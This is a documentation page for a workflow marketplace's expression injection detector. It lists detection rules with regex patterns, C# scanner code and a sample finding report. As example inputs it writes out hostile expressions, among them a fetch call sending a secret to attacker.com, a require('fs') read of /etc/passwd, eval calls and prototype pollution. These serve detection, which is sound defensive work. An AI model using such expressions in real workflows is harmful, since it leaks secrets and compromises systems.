InstallHub
Expression Injection Detection
Expression injection attacks embed malicious logic inside workflow node configuration fields that get evaluated at runtime. The expression injection detector scans all expression-type fields across every artifact in the package.
Why Expression Fields Are Dangerous
BizFirstGO workflow nodes accept expression strings in configuration fields. These expressions are evaluated during process execution with access to the execution context — including process variables, form data, and in some contexts, system configuration. A malicious expression can:
- Read environment variables and exfiltrate secrets via HTTP callback nodes
- Access
__proto__orconstructorchains to pollute JavaScript objects - Invoke unsafe functions to read filesystem paths or execute arbitrary code
- Create infinite loops that exhaust tenant execution quotas
Expression Fields Scanned
| Artifact Type | Expression Fields |
|---|---|
| ProcessDefinition | nodes[*].config.expression, nodes[*].config.condition, nodes[*].config.valueMapping |
| ThreadDefinition | steps[*].expression, steps[*].conditionExpression |
| RuleSet | rules[*].condition, rules[*].action.expression |
| AtlasForm | fields[*].validationExpression, fields[*].visibilityExpression |
Detection Rules
| Rule | Pattern | Severity | Example |
|---|---|---|---|
EnvironmentVariableAccess | env\.\w+ or process\.env | Critical | {{env.DATABASE_URL}} |
PrototypePollution | __proto__, constructor\.prototype | Critical | obj.__proto__.isAdmin = true |
EvalCall | \beval\s*\(, Function\s*\( | Critical | eval("malicious code") |
UnsafeFunctionCall | require\s*\(, import\s*\( | Critical | require('fs').readFileSync('/etc/passwd') |
ExternalHttpCall | Hardcoded non-whitelisted HTTP URLs in expression context | High | fetch('https://attacker.com/exfil?d=' + secret) |
InfiniteLoop | while\s*\(true\), unbounded recursion patterns | High | while(true) { /* do nothing */ } |
GlobalScopeAccess | \bglobal\b, \bwindow\b, \bglobalThis\b | Medium | global.adminOverride = true |
DeepNesting | Expression AST depth > 10 levels | Low | Deeply nested ternary chains |
ExpressionInjectionDetector — How It Works
public class ExpressionInjectionDetector : ISecurityCheck
{
// 1. Extract all expression fields from all artifacts
private IEnumerable<ExpressionField> ExtractExpressionFields(PackageBundle bundle)
{
foreach (var artifact in bundle.Artifacts)
{
foreach (var field in _expressionFieldRegistry.GetFieldsFor(artifact.Type))
{
var value = artifact.Data.SelectToken(field.JsonPath)?.ToString();
if (!string.IsNullOrEmpty(value))
yield return new ExpressionField(artifact, field.JsonPath, value);
}
}
}
// 2. Parse each expression into an AST
// 3. Walk the AST applying each detection rule
// 4. Collect all findings — do not short-circuit (report all issues)
public Task<IReadOnlyList<ScanFinding>> CheckAsync(PackageBundle bundle, ...)
{
var findings = new List<ScanFinding>();
foreach (var expr in ExtractExpressionFields(bundle))
{
var ast = _parser.Parse(expr.Value);
foreach (var rule in _rules)
{
var match = rule.Evaluate(ast);
if (match.IsMatch)
findings.Add(new ScanFinding
{
Check = "ExpressionInjection",
Severity = rule.Severity,
ArtifactType = expr.Artifact.Type,
ArtifactName = expr.Artifact.Name,
Field = expr.JsonPath,
Value = expr.Value,
Rule = rule.Name,
Message = match.Message
});
}
}
return Task.FromResult<IReadOnlyList<ScanFinding>>(findings);
}
}
Finding Example
{
"check": "ExpressionInjection",
"result": "FAIL",
"severity": "Critical",
"findings": [
{
"artifactType": "ProcessDefinition",
"artifactName": "EmployeeOnboarding",
"field": "nodes[2].config.expression",
"value": "{{env.DATABASE_PASSWORD}}",
"rule": "EnvironmentVariableAccess",
"message": "Expression accesses environment variable 'DATABASE_PASSWORD'. Environment variable access is not permitted in marketplace packages."
},
{
"artifactType": "RuleSet",
"artifactName": "ApprovalRules",
"field": "rules[0].condition",
"value": "obj.__proto__.bypass = true",
"rule": "PrototypePollution",
"message": "Expression contains prototype pollution pattern '__proto__'. This is a critical security issue."
}
]
}